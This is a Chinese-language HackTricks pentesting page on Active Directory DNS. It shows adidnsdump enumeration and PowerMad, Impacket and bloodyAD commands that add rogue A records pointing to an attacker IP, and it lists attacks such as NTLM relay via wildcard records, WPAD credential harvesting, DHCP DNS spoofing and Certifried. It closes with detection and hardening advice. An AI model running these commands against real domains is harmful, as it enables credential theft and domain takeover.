AD DNS 记录

Reading time: 7 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

默认情况下,任何用户都可以在 Active Directory 中枚举所有 DNS 记录,类似于区域传输(用户可以列出 AD 环境中 DNS 区域的子对象)。

工具 adidnsdump 使得枚举导出区域中的所有 DNS 记录成为可能,以便于内部网络的侦查。

bash
git clone https://github.com/dirkjanm/adidnsdump
cd adidnsdump
pip install .

# Enumerate the default zone and resolve the "hidden" records
adidnsdump -u domain_name\\username ldap://10.10.10.10 -r

# Quickly list every zone (DomainDnsZones, ForestDnsZones, legacy zones,…)
adidnsdump -u domain_name\\username ldap://10.10.10.10 --print-zones

# Dump a specific zone (e.g. ForestDnsZones)
adidnsdump -u domain_name\\username ldap://10.10.10.10 --zone _msdcs.domain.local -r

cat records.csv

adidnsdump v1.4.0 (2025年4月) 添加了 JSON/可grep输出 (--json)、多线程 DNS 解析以及在绑定到 LDAPS 时对 TLS 1.2/1.3 的支持

有关更多信息,请阅读 https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/


创建/修改记录 (ADIDNS 欺骗)

由于 Authenticated Users 组默认在区域 DACL 上具有 Create Child 权限,任何域帐户(或计算机帐户)都可以注册额外的记录。这可以用于流量劫持、NTLM 继电器强迫甚至完全域妥协。

PowerMad / Invoke-DNSUpdate (PowerShell)

powershell
Import-Module .\Powermad.ps1

# Add A record evil.domain.local → attacker IP
Invoke-DNSUpdate -DNSType A -DNSName evil -DNSData 10.10.14.37 -Verbose

# Delete it when done
Invoke-DNSUpdate -DNSType A -DNSName evil -DNSData 10.10.14.37 -Delete -Verbose

Impacket – dnsupdate.py (Python)

bash
# add/replace an A record via secure dynamic-update
python3 dnsupdate.py -u 'DOMAIN/user:Passw0rd!' -dc-ip 10.10.10.10 -action add -record evil.domain.local -type A -data 10.10.14.37

(dnsupdate.py 随 Impacket ≥0.12.0 一起提供)

BloodyAD

bash
bloodyAD -u DOMAIN\\user -p 'Passw0rd!' --host 10.10.10.10 dns add A evil 10.10.14.37

常见攻击原语

  1. 通配符记录*.<zone> 将 AD DNS 服务器变成类似于 LLMNR/NBNS 欺骗的企业范围响应器。可以被滥用来捕获 NTLM 哈希或将其中继到 LDAP/SMB。 (需要禁用 WINS 查找。)
  2. WPAD 劫持 – 添加 wpad(或指向攻击者主机的 NS 记录以绕过全球查询阻止列表)并透明地代理出站 HTTP 请求以收集凭据。 微软修补了通配符/DNAME 绕过(CVE-2018-8320),但 NS 记录仍然有效
  3. 过期条目接管 – 声称之前属于工作站的 IP 地址,相关的 DNS 条目仍将解析,从而启用基于资源的受限委派或 Shadow-Credentials 攻击,而无需触碰 DNS。
  4. DHCP → DNS 欺骗 – 在默认的 Windows DHCP+DNS 部署中,同一子网的未经身份验证的攻击者可以通过发送伪造的 DHCP 请求覆盖任何现有的 A 记录(包括域控制器),这些请求触发动态 DNS 更新(Akamai “DDSpoof”,2023)。 这使得在 Kerberos/LDAP 上进行中间人攻击,并可能导致完全的域接管。
  5. Certifried (CVE-2022-26923) – 更改您控制的计算机帐户的 dNSHostName,注册匹配的 A 记录,然后请求该名称的证书以冒充 DC。 工具如 CertipyBloodyAD 完全自动化该流程。

检测与加固

  • 拒绝 Authenticated Users 在敏感区域的 创建所有子对象 权限,并将动态更新委派给专用帐户用于 DHCP。
  • 如果需要动态更新,将区域设置为 仅安全,并在 DHCP 中启用 名称保护,以便只有拥有者计算机对象可以覆盖其自己的记录。
  • 监控 DNS 服务器事件 ID 257/252(动态更新),770(区域传输)和 LDAP 写入到 CN=MicrosoftDNS,DC=DomainDnsZones
  • 用故意良性的记录或通过全球查询阻止列表阻止危险名称(wpadisatap*)。
  • 保持 DNS 服务器打补丁 – 例如,RCE 漏洞 CVE-2024-26224 和 CVE-2024-26231 达到 CVSS 9.8,并且可以远程利用针对域控制器。

参考文献

  • Kevin Robertson – “ADIDNS Revisited – WPAD, GQBL and More” (2018, 仍然是通配符/WPAD 攻击的事实参考)
  • Akamai – “通过滥用 DHCP DNS 动态更新来欺骗 DNS 记录” (2023年12月)

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks